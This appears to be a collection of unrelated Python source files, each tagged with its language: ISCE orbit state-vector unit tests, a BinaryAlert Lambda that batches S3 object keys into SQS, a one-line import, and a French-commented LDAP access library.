import datetime import unittest import isce from isceobj.Orbit.Orbit import StateVector class StateVectorTest(unittest.TestCase): def setUp(self): pass def tearDown(self): pass def testEqualCompare(self): """ Test that __cmp__ returns true when the times are the same, but the positions and velocities are different. """ sv1 = StateVector() time1 = datetime.datetime(year=2001,month=2,day=7,hour=12,minute=13, second=4) pos1 = [1.0,2.0,3.0] vel1 = [0.6,0.6,0.6] sv1.setTime(time1) sv1.setPosition(pos1) sv1.setVelocity(vel1) sv2 = StateVector() time2 = datetime.datetime(year=2001,month=2,day=7,hour=12,minute=13, second=4) pos2 = [2.0,3.0,4.0] vel2 = [0.7,0.7,0.7] sv2.setTime(time2) sv2.setPosition(pos2) sv2.setVelocity(vel2) self.assertTrue(sv1 == sv2) def testNotEqualCompare(self): """ Test that __cmp__ returns false when the times are different, but the positions and velocities are the same. """ sv1 = StateVector() time1 = datetime.datetime(year=2001,month=2,day=7,hour=12,minute=13,second=5) pos1 = [1.0,2.0,3.0] vel1 = [0.6,0.6,0.6] sv1.setTime(time1) sv1.setPosition(pos1) sv1.setVelocity(vel1) sv2 = StateVector() time2 = datetime.datetime(year=2001,month=2,day=7,hour=12,minute=13,second=4) pos2 = [1.0,2.0,3.0] vel2 = [0.6,0.6,0.6] sv2.setTime(time2) sv2.setPosition(pos2) sv2.setVelocity(vel2) self.assertFalse(sv1 == sv2) def testScalarVelocity(self): """ Test that the scalar velocity returns the expected value """ ans = 0.0288675134594813 sv1 = StateVector() time1 = datetime.datetime(year=2001,month=2,day=7,hour=12,minute=13, second=5) pos1 = [1.0,2.0,3.0] vel1 = [0.0166666,0.0166666,0.0166666] sv1.setTime(time1) sv1.setPosition(pos1) sv1.setVelocity(vel1) vel = sv1.getScalarVelocity() self.assertAlmostEqual(ans,vel,5) if __name__ == "__main__": unittest.main()
python
"""Batching Lambda function - puts all S3 objects into SQS to be re-analyzed.""" # Expects the following environment variables: # BATCH_LAMBDA_NAME: The name of this Lambda function. # BATCH_LAMBDA_QUALIFIER: The qualifier (alias) which is used to invoke this function. # OBJECTS_PER_MESSAGE: The number of S3 objects to pack into a single SQS message. # S3_BUCKET_NAME: Name of the S3 bucket to enumerate. # SQS_QUEUE_URL: URL of the SQS queue which will buffer all of the S3 objects for analysis. import json import logging import os import boto3 LOGGER = logging.getLogger() LOGGER.setLevel(logging.INFO) LAMBDA_CLIENT = boto3.client('lambda') S3_CLIENT = boto3.client('s3') SQS_CLIENT = boto3.client('sqs') class SQSMessage(object): """Encapsulates a single SQS message (which will contain multiple S3 keys).""" def __init__(self, msg_id): """Create a new message structure, which will store a list of S3 keys. Args: msg_id: [int] Message index in the global list. """ self._id = msg_id self._keys = [] @property def num_keys(self): """Returns [int] the number of keys stored in the SQS message so far.""" return len(self._keys) def add_key(self, key): """Add another S3 key (string) to the message.""" self._keys.append(key) def sqs_entry(self): """Returns a message entry [dict], as required by sqs_client.send_message_batch(). Moreover, the message body matches the structure of an S3 added event. This gives all messages in the SQS the same format and enables the dispatcher to parse them consistently. """ return { 'Id': str(self._id), 'MessageBody': json.dumps({ 'Records': [{'s3': {'object': {'key': key}}} for key in self._keys] }) } def reset(self): """Remove the stored list of S3 keys.""" self._keys = [] class SQSBatcher(object): """Collect groups of S3 keys and batch them into as few SQS requests as possible.""" def __init__(self, queue_url, objects_per_message, messages_per_batch=10): """Create a new SQS batcher. Args: queue_url: [string] URL of the queue to send messages to. objects_per_message: [int] The maximum number of S3 keys to put in each SQS message. messages_per_batch: [int] The maximum number of SQS messages to batch together. SQS caps this value at 10. Note that the downstream analyzer Lambdas will each process at most (objects_per_message * messages_per_batch) binaries. The analyzer runtime limit is the ultimate constraint on the size of each batch. """ self._queue_url = queue_url self._objects_per_message = objects_per_message self._messages_per_batch = messages_per_batch self._messages = [SQSMessage(i) for i in range(messages_per_batch)] self._msg_index = 0 # The index of the SQS message where keys are currently being added. # The first and last keys added to this batch. self._first_key = None self._last_key = None def _send_batch(self): """Group keys into messages and make a single batch request.""" LOGGER.info('Sending SQS batch of %d keys: %s ... %s', sum(msg.num_keys for msg in self._messages), self._first_key, self._last_key) response = SQS_CLIENT.send_message_batch( QueueUrl=self._queue_url, Entries=[msg.sqs_entry() for msg in self._messages if msg.num_keys > 0] ) failures = response.get('Failed', []) if failures: for failure in failures: LOGGER.error('Unable to enqueue S3 key %s: %s', self._messages[int(failure['Id'])], failure['Message']) boto3.client('cloudwatch').put_metric_data(Namespace='BinaryAlert', MetricData=[{ 'MetricName': 'BatchEnqueueFailures', 'Value': len(failures), 'Unit': 'Count' }]) for msg in self._messages: msg.reset() self._first_key = None def add_key(self, key): """Add a new S3 key [string] to the message batch and send to SQS if necessary.""" if not self._first_key: self._first_key = key self._last_key = key msg = self._messages[self._msg_index] msg.add_key(key) # If the current message is full, move to the next one. if msg.num_keys == self._objects_per_message: self._msg_index += 1 # If all of the messages are full, fire off to SQS. if self._msg_index == self._messages_per_batch: self._send_batch() self._msg_index = 0 def finalize(self): """After all messages have been added, send the remaining as a last batch to SQS.""" if self._first_key: LOGGER.info('Finalize: sending last batch of keys') self._send_batch() class S3BucketEnumerator(object): """Enumerates all of the S3 objects in a given bucket.""" def __init__(self, bucket_name, continuation_token=None): """Instantiate with an optional continuation token. Args: bucket_name: [string] Name of the S3 bucket to enumerate. continuation_token: [string] Continuation token returned from S3 list objects. """ self.bucket_name = bucket_name self.continuation_token = continuation_token self.finished = False # Have we finished enumerating all of the S3 bucket? def next_page(self): """Get the next page of S3 objects. Returns: List of string S3 object keys. Also sets self.finished = True if this is the last page. """ if self.continuation_token: response = S3_CLIENT.list_objects_v2( Bucket=self.bucket_name, ContinuationToken=self.continuation_token) else: response = S3_CLIENT.list_objects_v2(Bucket=self.bucket_name) self.continuation_token = response.get('NextContinuationToken') if not response['IsTruncated']: self.finished = True return [obj['Key'] for obj in response['Contents']] def batch_lambda_handler(event, lambda_context): """Entry point for the batch Lambda function. Args: event: [dict] Invocation event. If 'S3ContinuationToken' is one of the keys, the S3 bucket will be enumerated beginning with that continuation token. lambda_context: [LambdaContext] object with .get_remaining_time_in_millis(). Returns: [int] The number of enumerated S3 keys. """ LOGGER.info('Invoked with event %s', json.dumps(event)) s3_enumerator = S3BucketEnumerator( os.environ['S3_BUCKET_NAME'], event.get('S3ContinuationToken')) sqs_batcher = SQSBatcher(os.environ['SQS_QUEUE_URL'], int(os.environ['OBJECTS_PER_MESSAGE'])) # As long as there are at least 10 seconds remaining, enumerate S3 objects into SQS. num_keys = 0 while lambda_context.get_remaining_time_in_millis() > 10000 and not s3_enumerator.finished: keys = s3_enumerator.next_page() num_keys += len(keys) for key in keys: sqs_batcher.add_key(key) # Send the last batch of keys. sqs_batcher.finalize() # If the enumerator has not yet finished but we're low on time, invoke this function again. if not s3_enumerator.finished: LOGGER.info('Invoking another batcher') LAMBDA_CLIENT.invoke( FunctionName=os.environ['BATCH_LAMBDA_NAME'], InvocationType='Event', # Asynchronous invocation. Payload=json.dumps({'S3ContinuationToken': s3_enumerator.continuation_token}), Qualifier=os.environ['BATCH_LAMBDA_QUALIFIER'] ) return num_keys
python
from cmanager import CreditManager
python
# -*- coding: utf-8 -*- import ldap #import ldap.modlist as modlist from brie.config import ldap_config from brie.lib.log_helper import BrieLogging from brie.model.ldap import Groupes class Groups(object): __groups = list() def __init__(self, groups): self.__groups = groups #end def def __getattr__(self, name): return name in self.__groups #end def def list(self): return list(self.__groups) #end def #end class class User(object): ldap_bind = None attrs = None groups = None residence_dn = None def __init__(self, ldap_bind, attrs, residence_dn = None): self.ldap_bind = ldap_bind self.attrs = attrs self.residence_dn = residence_dn if attrs is not None: groups = Groupes.get_by_user_dn(self, residence_dn, self.attrs.dn) self.groups = Groups(groups) #end if #end def #end class """ Classe de manipulation de la base ldap """ class Ldap(object): __connection = None """ Connexion à la base """ def __init__(self, connection): self.__connection = connection #end def """ Methode de connexion à la base de donnée dn : dn de connexion password : mot de passe """ @staticmethod def connect(dn, password): connection = None # try: connection = ldap.initialize(ldap_config.uri) connection.simple_bind_s(dn, password) # except: # return None #end try if connection is not None: return Ldap(connection) #end return None #end def """ Recherche sur la base dn : base de recherche filter : filtre ldap de recherche scope : portée de recherche (SCOPE_SUBTREE, SCOPE_BASE, SCOPE_ONELEVEL) """ def search(self, dn, filter, scope = ldap.SCOPE_SUBTREE): dn = Ldap.str_attribute(dn) filter = Ldap.str_attribute(filter) try: results = self.__connection.search_s(dn, scope, filter) except ldap.NO_SUCH_OBJECT: return [] #end try ldap_results = [] for result in results: result_dn = result[0] attributes = result[1] val_dict = dict() for attribute in attributes.iteritems(): name = attribute[0] values = attribute[1] ldap_value = LdapAttribute(name, values) val_dict[name] = ldap_value #end for ldap_result = LdapEntry(result_dn, val_dict) ldap_results.append(ldap_result) #end for return ldap_results #end def def get_childs(self, dn, filter = "(objectClass=*)"): results = self.search(dn, filter) tree = [None, dict()] for result in results: if result.dn == dn: tree[0] = result else: result_dn = result.dn.replace(dn, "").split(",") tree_c = tree result_dn.reverse() for dn_split in result_dn: if dn_split != "": if not dn_split in tree_c[1]: tree_c[1][dn_split] = [None, dict()] tree_c = tree_c[1][dn_split] else: tree_c = tree_c[1][dn_split] #end if #end if #end for tree_c[0] = result #end if #end for return LdapEntryTree(tree[0], tree[1]) #end def """ Recherche le premier resultat sur la base appel la methode "search" en interne """ def search_first(self, dn, filter, scope = ldap.SCOPE_SUBTREE): results = self.search(dn, filter, scope) if results is None: return None for result in results: return result #end for return None #end def """ Recherche seulement l'element décrit par le dn donnée """ def search_dn(self, dn): return self.search_first(dn, "(objectClass=*)", ldap.SCOPE_BASE) @staticmethod def str_attributes(attributes): def str_value(value): if isinstance(value, list): return [Ldap.str_attribute(subval) for subval in value] #end if return Ldap.str_attribute(value) #end def return dict([ (keyval[0], str_value(keyval[1])) for keyval in attributes.iteritems() ]) #end def @staticmethod def str_attributes_list(attributes): def str_value(value): if isinstance(value, list): return [Ldap.str_attribute(subval) for subval in value] elif isinstance(value, LdapAttribute): return [Ldap.str_attribute(subval) for subval in value.all()] #end if return Ldap.str_attribute(value) #end def return dict([ (keyval, str_value(attributes[keyval])) for keyval in attributes ]) #end def @staticmethod def str_attribute(value): if isinstance(value, str): return value elif isinstance(value, unicode): return unicode.encode(value, "utf-8") #end if return str(value) #end def """ Remplace les attributs d'un dn donné dn : adresse de l'élément attributes : dictionnaire d'attributs """ def replace_attr(self, dn, attributes): attributes = Ldap.str_attributes(attributes) modlist = [] for attribute in attributes.iteritems(): modlist.append((ldap.MOD_REPLACE, attribute[0], attribute[1])) #end for self.__connection.modify_s(dn, modlist) #end def """ Ajouter les attributs d'un dn donné dn : addresse de l'élément attributes : dictionnaire des nouveaux attributs """ def add_attr(self, dn, attributes): attributes = Ldap.str_attributes(attributes) modlist = [] for attribute in attributes.iteritems(): modlist.append((ldap.MOD_ADD, attribute[0], attribute[1])) #end for try: self.__connection.modify_s(dn, modlist) except ldap.TYPE_OR_VALUE_EXISTS: pass #end def """ Supprime les attributs d'un dn donné dn : adresse de l'élément attributes : dictionnaire des attributs à supprimer """ def delete_attr(self, dn, attributes): attributes = Ldap.str_attributes(attributes) modlist = [] for attribute in attributes.iteritems(): modlist.append((ldap.MOD_DELETE, attribute[0], attribute[1])) #end for #try: self.__connection.modify_s(dn, modlist) #except: # pass #end def """ Ajoute un nouvelle élément dn : adresse du nouvelle élément attributes : dictionnaire des attributes de l'élément """ def add_entry(self, dn, attributes): attributes = Ldap.str_attributes(attributes) modlist = [] for attribute in attributes.iteritems(): modlist.append((attribute[0], attribute[1])) #end for ##try: self.__connection.add_s(dn, modlist) ##except: ## pass #end def """ Clone un élément dn : adresse du nouvelle élément attributes : l'élément à cloner """ def clone_entry(self, dn, ldap_entry): attributes = Ldap.str_attributes_list(ldap_entry.__dict__) del attributes['dn'] modlist = [] for attribute in attributes.iteritems(): modlist.append((attribute[0], attribute[1])) #end for ##try: self.__connection.add_s(dn, modlist) ##except: ## pass #end def """ Supprime un élement donné """ def delete_entry(self, dn): #try: self.__connection.delete_s(dn) #except: # pass #end def """ Supprime récursivement un élément et ses fils """ def delete_entry_subtree(self, dn): entries = self.search(dn, "(objectClass=*)") for entry in reversed(entries): self.delete_entry(entry.dn) #end for #end def """ Renomme un élément """ def rename_entry(self, dn, newdn, superior): self.__connection.rename_s(dn, newdn, newsuperior= superior) """ Sauvegarde en base une valeur l'élément donné """ def save(self, ldap_entry): modlist = [] for global_deletion in ldap_entry._deletions: modlist.append((ldap.MOD_DELETE, global_deletion, None)) #end for ldap_entry._deletions = [] ldap_attributes = ( attribute for attribute in ldap_entry.__dict__.itervalues() if isinstance(attribute, LdapAttribute) ) for ldap_attribute in ldap_attributes: BrieLogging.get().debug("name : " + ldap_attribute.name) BrieLogging.get().debug("values : " + str(ldap_attribute.values)) BrieLogging.get().debug("deletions : " + str(ldap_attribute._deletions)) BrieLogging.get().debug("additions : " + str(ldap_attribute._additions)) BrieLogging.get().debug("modified : " + str(ldap_attribute._modified)) if ldap_attribute._deletions != []: str_values = [str(value) for value in ldap_attribute._deletions] modlist.append((ldap.MOD_DELETE, ldap_attribute.name, str_values)) ldap_attribute._deletions = [] #end if if ldap_attribute._additions != []: str_values = [str(value) for value in ldap_attribute._additions] modlist.append((ldap.MOD_ADD, ldap_attribute.name, str_values)) ldap_attribute._additions = [] #end if if ldap_attribute._modified: str_values = [str(value) for value in ldap_attribute.values] modlist.append((ldap.MOD_REPLACE, ldap_attribute.name, str_values)) ldap_attribute._modified = False #end for #end for BrieLogging.get().debug("dn : " + ldap_entry.dn) BrieLogging.get().debug("modlist : " + str(modlist)) if modlist != []: self.__connection.modify_s(ldap_entry.dn, modlist) # On recharge l'entrée après la sauvegarde entry_reloaded = self.search_dn(ldap_entry.dn) ldap_entry.__dict__ = entry_reloaded.__dict__ #end def """ Ferme la connexion à la base """ def close(self): self.__connection.unbind() #end class """ Classe représentant un élément ldap """ class LdapEntry(object): dn = None _deletions = [] def __init__(self, dn, var_dict): self.__dict__ = var_dict self.dn = dn.decode("utf-8") #end def """ Retourne si un attribut existe sur cette élément """ def has(self, attribute_name): return attribute_name in self.__dict__ #end def """ Retourne la valeur d'un attribut donné """ def get(self, name): if name in self.__dict__: return self.__dict__[name] else: return self.__getattr__(name) #end if #end def def __getattr__(self, name): attr = LdapAttribute(name, []) self.__dict__[name] = attr return attr #end def """ Ajoute un attribut """ def add(self, name, value = None): if self.has(name): if value is not None: value = self.get(name) value.add(value) #end if else: values = [] if value is not None: values = [value] #end if self.__dict__[name] = LdapAttribute(name, values) self.__dict__[name]._additions = values #end if #end def """ Supprime un attribut """ def delete(self, name, value = None): if self.has(name): if value is not None: value = self.get(name) value.delete(value) else: del self.__dict__[name] self._deletions.append(name) #end if #end if #end def #end class """ Classe représentant la valeur d'un attribut """ class LdapAttribute(object): name = None values = None _deletions = None _additions = None _modified = False def __init__(self, name, values): self.values = [value.decode("utf-8") for value in values] self.name = name self._deletions = list() self._additions = list() #end def """ Retourne la première valeur de cet attribut """ def first(self, default = None): for value in self.values: return unicode(value) #end for if default is None: return None return unicode(default) #end def """ Retourne toutes les valeurs de cet attribut """ def all(self): return self.values #end def """ Ajoute une valeur à cet attribut Note : la valeur ne sera pas ajouté si elle existe déjà """ def add(self, value): if not value in self.values: self.values.append(value) self._additions.append(value) #end if #end def """ Supprime une valeur de cet attribut """ def delete(self, value): if value in self.values: self.values = [old for old in self.values if old != value] # Si il vient d'être ajouté, on l'enleve simplement # de la queue d'ajout # sinon on l'ajoute dans la queue de suppression if value in self._additions: self._additions = [old for old in self._additions if old != value] else: self._deletions.append(value) #end if #end if #end def """ Modifie une valeur de cet attribut si la valeur est nulle, modifie la première valeur """ def replace(self, old, new): if old == new: return # Fonction usuelle de remplacement def replace(current): if current == old: return new #end if return current #end def # Si la valeur modifié existe déjà # l'ancienne valeur n'est que supprimée if new in self.values: self.delete(old) elif self.values == []: self.add(new) else: self.values = [replace(value) for value in self.values] # Si la valeur modifié vient d'être ajouté, # elle est modifié dans la queue d'addition self._additions = [replace(value) for value in self._additions] self._modified = True #end if #end def #end class class LdapEntryTree(LdapEntry): childs = None val = None def __init__(self, val, childs): self.val = val self.__dict__ = val.__dict__ self.__dict__['value'] = val self.childs = dict() if len(childs) > 0: for key,child in childs.iteritems(): key = key.split("=")[1] self.childs[key] = LdapEntryTree(child[0], child[1]) self.__dict__[key] = self.childs[key] #end for #end if #end def def __getattr__(self, name): attr = LdapAttribute(name, []) self.__dict__[name] = attr return attr #end def #end class
python